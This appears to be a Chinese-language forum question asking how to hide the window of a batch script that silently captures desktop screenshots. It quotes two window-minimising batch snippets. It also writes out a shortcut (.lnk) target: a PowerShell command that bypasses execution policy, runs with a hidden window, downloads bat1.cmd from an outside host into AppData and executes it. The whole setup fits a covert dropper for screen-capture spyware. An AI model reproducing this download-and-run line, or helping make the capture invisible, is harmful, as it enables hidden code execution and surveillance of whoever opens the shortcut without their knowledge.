提前感谢您的宝贵时间。
我找到/编辑了一个批处理脚本(bat1.cmd),它获取桌面截图。实际上一切都运行良好。这是我的完整代码 = https://pastebin.com/KvqgFx5L。
我在这里唯一的要求是在我运行bat1.cmd 窗口时隐藏/最小化它(在 lnk 中,检查消息末尾的“NB”)。
我做了一些研究,一个经典的解决方案是使用这种脚本:
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
或者
if not "%minimized%"=="" goto :minimized
set minimized=true
start /min cmd /C "%~dpnx0"
goto :EOF
:minimized
不幸的是,我的批处理脚本(bat1.cmd)具有不允许(?)添加这种“最小化”脚本的特殊参数(我试图将它添加到顶部、脚本内部等,但没有任何效果)。
注意:批处理脚本(bat1.cmd)在快捷方式(bat1.lnk)中下载/运行,但在 lnk 中添加最小化参数不会最小化 bat1.cmd 窗口(我猜?/我做了测试)。
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -w hidden ; (New-Object System.Net.WebClient).DownloadFile('http://host.com/bat1.cmd','%APPDATA%\bat1.cmd');Start('%APPDATA%\bat1.cmd');
非常感谢您的帮助。